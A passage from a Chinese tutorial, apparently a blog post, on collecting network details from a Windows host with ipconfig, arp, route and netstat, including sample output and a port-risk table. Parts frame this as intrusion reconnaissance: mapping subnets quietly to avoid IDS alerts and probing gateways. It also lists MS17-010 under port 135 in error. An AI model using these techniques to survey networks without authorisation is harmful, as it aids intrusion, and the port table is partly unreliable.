C:\Users\Public\)的ACL若包含Everyone Allow FullControl,可被用于上传恶意程序(如后门、挖矿程序)。
- 系统核心文件(如
第四章 网络信息收集(连接状态与拓扑)
网络信息是梳理“主机与外部连接”的关键,包括IP配置、路由路径、开放端口、DNS解析等,可定位网络异常(如后门连接)、识别内网拓扑结构。
4.1 网卡与IP配置(基础连接信息)
4.1.1 查看详细网卡信息(ipconfig /all)
- 用途:获取网卡的完整配置(IP地址、子网掩码、网关、DNS、MAC地址、DHCP状态),是网络排查的第一步;
- 命令(/all参数显示详细信息,默认
ipconfig仅显示简化信息):ipconfig /all - 实战示例输出(以太网网卡,关键字段):
以太网适配器 以太网: 连接特定的DNS后缀 . . . . . . . : test-domain.com # 域的DNS后缀(域环境特征) 描述. . . . . . . . . . . . . . : Intel(R) Ethernet Connection I219-LM # 网卡型号 物理地址. . . . . . . . . . . . : 00-11-22-33-44-55 # MAC地址(网卡唯一标识,用于ARP定位) DHCP 已启用 . . . . . . . . . . : 是 # 是否启用DHCP(企业环境通常启用,自动获取IP) 自动配置 IPv4 地址 . . . . . . . : 192.168.1.101(首选) # 内网IP地址(关键,用于定位主机在局域网的位置) 子网掩码 . . . . . . . . . . . : 255.255.255.0 # 子网掩码(判断内网网段:192.168.1.0/24) 默认网关. . . . . . . . . . . . : 192.168.1.1 # 网关(内网出口,所有外网流量经此转发) DNS 服务器 . . . . . . . . . . : 192.168.1.10 # 首选DNS(通常是域控,域环境特征) 202.97.128.68 # 备用DNS(外网DNS,如电信DNS) 租赁获取时间 . . . . . . . . . . : 2024年5月20日 8:30:00 租赁过期时间 . . . . . . . . . . : 2024年5月20日 20:30:00 # DHCP租约时间(通常24小时) - 无线网卡信息(若主机有无线网卡):
无线局域网适配器 WLAN: 连接特定的DNS后缀 . . . . . . . : 描述. . . . . . . . . . . . . . : Intel(R) Dual Band Wireless-AC 8265 物理地址. . . . . . . . . . . . : AA-BB-CC-DD-EE-FF DHCP 已启用 . . . . . . . . . . : 是 自动配置 IPv4 地址 . . . . . . . : 192.168.2.201(首选) # 无线网卡IP(可能属于不同网段) 子网掩码 . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . : 192.168.2.1 # 无线路由器网关 DNS 服务器 . . . . . . . . . . : 8.8.8.8 # 谷歌DNS(可能是用户手动配置) - 信息价值:
- 内网IP和子网掩码判断主机所在网段(如192.168.1.0/24),后续可扫描该网段的存活主机;
- 网关IP(192.168.1.1)是内网出口,可尝试访问网关管理界面(如路由器配置页面);
- DNS服务器若包含域控IP(192.168.1.10),进一步确认域环境;
- 多网卡(以太网+无线)可能连接不同网段(如有线连内网,无线连外网),存在跨网段数据泄露风险。
4.1.2 释放/续订DHCP地址(网络故障排查)
- 用途:若IP地址冲突或无法上网,可释放当前DHCP地址并重新获取;
- 命令:
ipconfig /release # 释放当前DHCP分配的IP地址 ipconfig /renew # 重新获取DHCP地址
4.2 ARP表与路由表(内网拓扑)
4.2.1 查看ARP表(IP-MAC映射)
- 原理:ARP(Address Resolution Protocol)表记录了内网中IP地址与MAC地址的对应关系,MAC地址存在即表示该IP主机当前存活(局域网内);
- 命令:
arp -a # 查看所有网卡的ARP表 arp -a 192.168.1.1 # 查看指定IP(192.168.1.1,网关)的MAC地址 - 实战示例输出(以太网网卡的ARP表):
接口: 192.168.1.101 --- 0x3 # 对应IP为192.168.1.101的网卡 Internet 地址 物理地址 类型 192.168.1.1 00-22-33-44-55-66 动态 # 网关(路由器),动态获取ARP条目 192.168.1.10 aa-bb-cc-dd-ee-ff 静态 # 域控(管理员手动绑定MAC,避免ARP欺骗) 192.168.1.102 11-22-33-44-55-66 动态 # 其他内网主机(存活) 192.168.1.200 33-44-55-66-77-88 动态 # 可能是文件服务器或数据库主机 - 类型字段解读:
类型 含义 动态 ARP条目通过ARP协议自动获取,老化时间通常10-20分钟(主机下线后条目会消失) 静态 ARP条目手动添加(arp -s 192.168.1.10 aa-bb-cc-dd-ee-ff),永久存在(关键设备如域控、服务器常用) - 实战价值:
- 快速识别内网存活主机(物理地址存在即存活),无需主动扫描(避免触发IDS/IPS告警);
- 静态ARP条目对应的IP通常是关键设备(域控、服务器),需重点关注;
- 通过MAC地址前三位(OUI)判断设备厂商(如00-0C-29为VMware虚拟机,00-11-22为自定义)。
4.2.2 查看路由表(网络访问路径)
- 原理:路由表决定了数据包的转发路径(如访问内网网段走直连,访问外网走网关),查看路由表可了解主机的网络可达范围;
- 命令:
route print # 打印完整路由表(包含IPv4和IPv6) route print -4 # 仅打印IPv4路由表(常用) - 实战示例输出(IPv4路由表,关键行):
网络目标 网络掩码 网关 接口 跃点数 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.101 25 # 默认路由:所有未匹配的IP(如外网)走网关192.168.1.1 127.0.0.0 255.0.0.0 在链路上 127.0.0.1 331 # 回环地址:本地进程间通信 192.168.1.0 255.255.255.0 在链路上 192.168.1.101 281 # 内网网段1:直连,无需网关 192.168.1.101 255.255.255.255 在链路上 192.168.1.101 281 # 主机自身IP 192.168.2.0 255.255.255.0 192.168.1.2 192.168.1.101 26 # 内网网段2:访问192.168.2.0/24需走网关192.168.1.2(可能是三层交换机) 224.0.0.0 240.0.0.0 在链路上 192.168.1.101 281 # 组播地址 255.255.255.255 255.255.255.255 在链路上 192.168.1.101 281 # 广播地址 - 关键字段解读:
字段 含义 网络目标 目标IP网段(0.0.0.0=所有网段,192.168.1.0=特定网段) 网络掩码 区分网段的掩码(255.255.255.0= /24网段) 网关 数据包转发的下一跳(“在链路上”表示直连,无需网关) 接口 数据包从哪个网卡发出(对应网卡的IP地址) 跃点数 路由优先级(数值越小优先级越高,默认路由跃点数通常25-30) - 实战价值:
- 识别内网所有可达网段(如192.168.1.0/24、192.168.2.0/24),后续可扫描这些网段的存活主机和开放端口;
- 若存在非预期路由(如指向外部IP的路由),需排查是否被恶意修改(如植入后门后添加路由用于通信);
- 通过网关IP判断内网层级(如192.168.1.1是一级网关,192.168.1.2是二级网关,对应不同网段)。
4.3 端口与连接信息(进程-端口关联)
端口是主机与外部通信的“门户”,开放的端口对应运行的服务(如3389=RDP远程桌面,80=HTTP网页服务,445=SMB文件共享),查看端口信息可识别服务类型、排查异常连接(如后门端口)。
4.3.1 查看端口与连接(netstat -ano)
- 用途:
netstat是查看端口状态的核心命令,-a显示所有连接,-n数字格式(不解析域名,速度快),-o显示进程PID(关联进程); - 命令:
netstat -ano # 查看所有端口和连接(TCP+UDP) netstat -ano | findstr "LISTENING" # 仅显示监听状态的端口(开放的端口) netstat -ano | findstr "ESTABLISHED" # 仅显示已建立的连接(正在通信的连接) netstat -ano | findstr ":3389" # 查看指定端口(3389)的状态 - 实战示例输出(关键行截取):
Proto Local Address Foreign Address State PID TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 456 # 3389端口(RDP)监听,PID=456 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 # 445端口(SMB)监听,PID=4(System进程,正常) TCP 192.168.1.101:49152 202.97.128.68:80 ESTABLISHED 1234 # 与外网80端口(HTTP)的已建立连接,PID=1234 TCP 192.168.1.101:51234 192.168.1.10:445 ESTABLISHED 5678 # 与域控445端口(SMB)的已建立连接,PID=5678 UDP 0.0.0.0:5353 0.0.0.0:0 789 # 5353端口(mDNS,局域网域名解析),无状态(UDP无连接) - 关键字段解读:
字段 含义 Proto 协议类型:TCP(面向连接,可靠)、UDP(无连接,不可靠) Local Address 本地IP:端口(0.0.0.0:3389表示所有本地IP的3389端口都在监听) Foreign Address 远程IP:端口(0.0.0.0:0表示无远程连接,仅监听) State 连接状态(TCP特有):LISTENING=监听,ESTABLISHED=已建立,CLOSE_WAIT=关闭等待 PID 进程ID(通过PID可定位对应进程,如tasklist - 常见端口与服务对应表(需重点关注):
端口 协议 服务名称 用途 风险点 21 TCP FTP 文件传输协议 明文传输,易被嗅探账号密码 22 TCP SSH 远程登录(Linux常用,Windows Server 2019+支持) 若使用弱密码,易被暴力破解 80 TCP HTTP 网页服务 可能存在SQL注入、XSS等Web漏洞 443 TCP HTTPS 加密网页服务 证书过期、配置不当可能导致安全风险 135 TCP RPC 远程过程调用(系统核心服务) 易被利用进行漏洞攻击(如MS17-010) 139 TCP NetBIOS 局域网文件共享 老旧协议,存在安全漏洞 445 TCP SMB 文件共享服务(Windows核心服务) 高危漏洞高发(如永恒之蓝、SMBGhost) 3389 TCP RDP 远程桌面服务 弱密码易被暴力破解,允许远程控制 5985 TCP WinRM HTTP Windows远程管理(PowerShell远程) 未授权访问可执行命令 5986 TCP WinRM HTTPS 加密WinRM服务 配置不当仍有风险
3039

被折叠的 条评论
为什么被折叠?



